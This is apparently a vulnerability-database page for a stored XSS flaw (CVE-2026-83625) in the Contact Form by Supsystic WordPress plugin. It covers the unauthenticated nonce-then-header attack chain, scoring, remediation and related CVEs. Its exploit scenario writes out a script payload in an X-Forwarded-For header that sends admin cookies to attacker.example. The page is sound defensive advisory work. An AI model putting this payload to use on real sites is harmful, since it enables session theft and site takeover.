Skip to main content

Contact Form by Supsystic EUVDEUVD-2026-71934

| CVE-2026-83625 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-09-05 Wordfence GHSA-47p6-99pv-q7v3
7.2
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Call unauthenticated updateNonce AJAX action
  2. Delivery
    Receive valid WordPress nonce
  3. Exploit
    Submit contact form with malicious X-Forwarded-For header
  4. Execution
    Plugin stores unsanitized IP value in database
  5. Persist
    Admin views contacts list in dashboard
  6. Impact
    Stored script executes in admin browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three concrete conditions must hold: (1) The target site must have the Contact Form by Supsystic plugin installed and active in version 1.10.2 or earlier; (2) At least one contact form must exist and be reachable for submission - no special form configuration is required beyond basic installation; (3) A victim with access to the admin contacts list (typically a WordPress Administrator or Editor with plugin access) must navigate to the contacts view after injection. The critical enabler is the updateNonce action being absent from the plugin's permission list, which makes nonce acquisition fully unauthenticated and automatable. Exploitation is limited by the requirement that a victim admin must subsequently view the contacts list - the XSS does not self-propagate or execute at submission time, only at contacts-list render time in the admin dashboard.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N yields 7.2 (High), but the UI:N designation is debatable: stored XSS requires a victim (typically a site administrator) to navigate to the contacts list page for the payload to execute, which is more accurately coded as UI:R, dropping the score to approximately 6.1 (Medium). That said, stored XSS targeting admin sessions carries meaningful real-world risk - a successful hit against a logged-in admin can lead to credential theft, malicious admin account creation, or plugin/theme installation. EPSS data is not provided; no KEV listing and no public exploit are identified, so automated mass exploitation is not currently occurring. The primary risk is opportunistic: attackers submitting forms to WordPress sites running this plugin at scale and waiting for an admin to view contacts, which is a well-understood and easily automated pattern.

Exploit ScenarioDerived

An attacker scripted to harvest WordPress sites running Contact Form by Supsystic sends an unauthenticated POST to admin-ajax.php?action=updateNonce to receive a valid nonce, then immediately submits a contact form with X-Forwarded-For: <script>document.location='https://attacker.example/steal?c='+document.cookie</script> and the obtained nonce. The payload is stored in the contacts database. The next time any administrator opens the plugin's contacts list in the WordPress dashboard, the script executes in their browser, exfiltrating their authenticated session cookie to the attacker's server.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 05, 2026

Stored cross-site scripting in the Contact Form by Supsystic WordPress plugin (all versions ≤1.10.2) allows unauthenticated attackers to inject persistent malicious scripts via a spoofed IP address header. The exploit chain is notable for its two-stage unauthenticated entry: the plugin's updateNonce action is excluded from the permission-check list, granting any unauthenticated caller a valid WordPress nonce; that nonce is then used to submit a contact form with a crafted X-Forwarded-For value, which the plugin stores unsanitized and later renders in the admin contacts list. No public exploit has been identified at time of analysis and no KEV listing exists, but the Wordfence advisory includes direct source-code references to the vulnerable code paths.

RemediationAI

Update the Contact Form by Supsystic plugin to the version corresponding to WordPress.org changeset 3679442, which contains the fix commit (https://plugins.trac.wordpress.org/changeset?reponame=&old=3679442%40contact-form-by-supsystic&new=3679442%40contact-form-by-supsystic). A specific released version number beyond 1.10.2 is not independently confirmed from the available data - verify the current version in the WordPress plugin repository before applying. If an immediate update is not possible, compensating controls include: (1) restricting access to the admin-ajax.php endpoint for the updateNonce action via WAF rule targeting action=updateNonce with unauthenticated requests - trade-off: may disrupt legitimate nonce refresh flows; (2) blocking or stripping X-Forwarded-For, X-Real-IP, and similar proxy headers at the reverse proxy or WAF layer before they reach WordPress - trade-off: breaks real IP logging for all plugins; (3) limiting form submission rates per IP at the WAF to reduce at-scale injection attempts. The Wordfence advisory should be monitored for a confirmed patched release version.

Affected VersionsENISA

Contact Form by Supsystic 0 ≤1.10.2

Affected Packages

euvd contact_form_by_supsystic no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The plugin fails at two distinct points. First, controller.php registers the updateNonce AJAX action without adding it to the permission-checked list, so WordPress treats it as publicly callable (logged-out context). Second, utils.php reads the X-Forwarded-For (or similar proxy) header to capture submitter IP and stores it via forms.php without sanitization. The raw value is later rendered in the admin contacts list (admin.forms.contacts.list.js) without output escaping, satisfying CWE-79 (Improper Neutralization of Input During Web Page Generation). Because XSS crosses the boundary from the plugin execution context into the authenticated admin browser session, the CVSS scores this S:C (scope change). CPE: cpe:2.3:a:supsysticcom:contact_form_by_supsystic:*:*:*:*:*:*:*:* covering all versions through 1.10.2.

Know when Contact Form By Supsystic gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Stored XSS requires an admin victim to view the contacts page (UI:R); all other metrics from the provided vector are accurate.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Contact Form by Supsystic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via IP Address Header in all versions up to, and including, 1.10.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An unauthenticated attacker can first call the 'updateNonce' action - which is accessible without authentication due to its absence from the plugin's permission list - to obtain a valid nonce, then submit a contact form with a malicious payload in a spoofed IP header such as X-Forwarded-For.

Executive ViewAI

Why It Matters

Contact Form by Supsystic WordPress plugin (versions ≤1.10.2) contains a stored cross-site scripting flaw exploitable by unauthenticated attackers to inject persistent scripts into administrator sessions. While no public exploit code exists at this time, the vulnerability is publicly documented with direct code references, exposing any WordPress site using this plugin to credential theft, account compromise, and website defacement.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately disable and uninstall the vulnerable plugin; (2) Implement a Web Application Firewall rule to sanitize X-Forwarded-For headers; (3) Restrict WordPress admin panel access to specific trusted IP ranges; (4) Deploy Content Security Policy (CSP) headers with script-src restrictions to prevent inline script execution; (5) Audit and sanitize all stored contact form submissions; (6) Enable WordPress security logging and monitor for suspicious admin login patterns.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
Medium
moderately popular WordPress contact form plugin, not top-tier
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-4257 CRITICAL POC
9.8 Mar 30

Remote code execution in Contact Form by Supsystic plugin for WordPress (all versions ≤1.7.36) allows unauthenticated at

CVE-2026-115301 HIGH POC
7.2 Oct 29

Stored server-side template injection in the WordPress plugin Contact Form by Supsystic before 1.11.1 lets a WordPress a

CVE-2026-115299 MEDIUM POC
5.4 Oct 29

Cross-site request forgery in the Supsystic Contact Form plugin for WordPress before 1.11.1 lets an attacker overwrite a

CVE-2026-115302 MEDIUM POC
5.3 Oct 29

Unauthenticated deletion of stored form statistics is possible in the Contact Form by Supsystic WordPress plugin before

CVE-2026-115300 MEDIUM POC
4.3 Oct 29

Cross-site request forgery in the WordPress plugin Contact Form by Supsystic before 1.11.1 lets an attacker permanently

CVE-2026-115303 LOW POC
3.7 Oct 29

Email header injection in the Supsystic Contact Form plugin for WordPress (versions before 1.11.1) lets unauthenticated

CVE-2025-15705 LOW POC
3.5 Oct 25

Stored cross-site scripting in the Contact Form by Supsystic WordPress plugin before 1.8.0 lets users with access to the

CVE-2026-115591 HIGH
7.5 Oct 28

Unauthenticated information disclosure in the Supsystic Contact Form WordPress plugin (all versions through 1.10.5) lets

CVE-2026-73378 HIGH
7.1 Aug 18

Unauthenticated cross-site scripting in Contact Form by Supsystic WordPress plugin (all versions before 1.10.0) allows a

CVE-2026-73379 MEDIUM
6.5 Aug 18

Unauthenticated authentication bypass in the Contact Form by Supsystic WordPress plugin (versions before 1.10.0) exposes

CVE-2026-115595 MEDIUM
5.3 Oct 26

Missing authorization (CWE-862) in the WordPress plugin Contact Form by Supsystic, affecting all versions through 1.10.7

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-83625 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.10.2/classes/utils.php#L77 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.10.2/modules/forms/controller.php#L390 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.10.2/modules/forms/controller.php#L411 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.10.2/modules/forms/js/admin.forms.contacts.list.js#L204 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.10.2/modules/forms/models/forms.php#L103 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.8.1/classes/utils.php#L77 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.8.1/modules/forms/controller.php#L390 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.8.1/modules/forms/controller.php#L411 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.8.1/modules/forms/js/admin.forms.contacts.list.js#L204 REF https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.8.1/modules/forms/models/forms.php#L103 REF https://plugins.trac.wordpress.org/changeset?reponame=&old=3679442%40contact-form-by-supsystic&new=3679442%40contact-form-by-supsystic REF https://www.wordfence.com/threat-intel/vulnerabilities/id/aa65bced-a449-4ba5-accf-40a824ee464d?source=cve

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy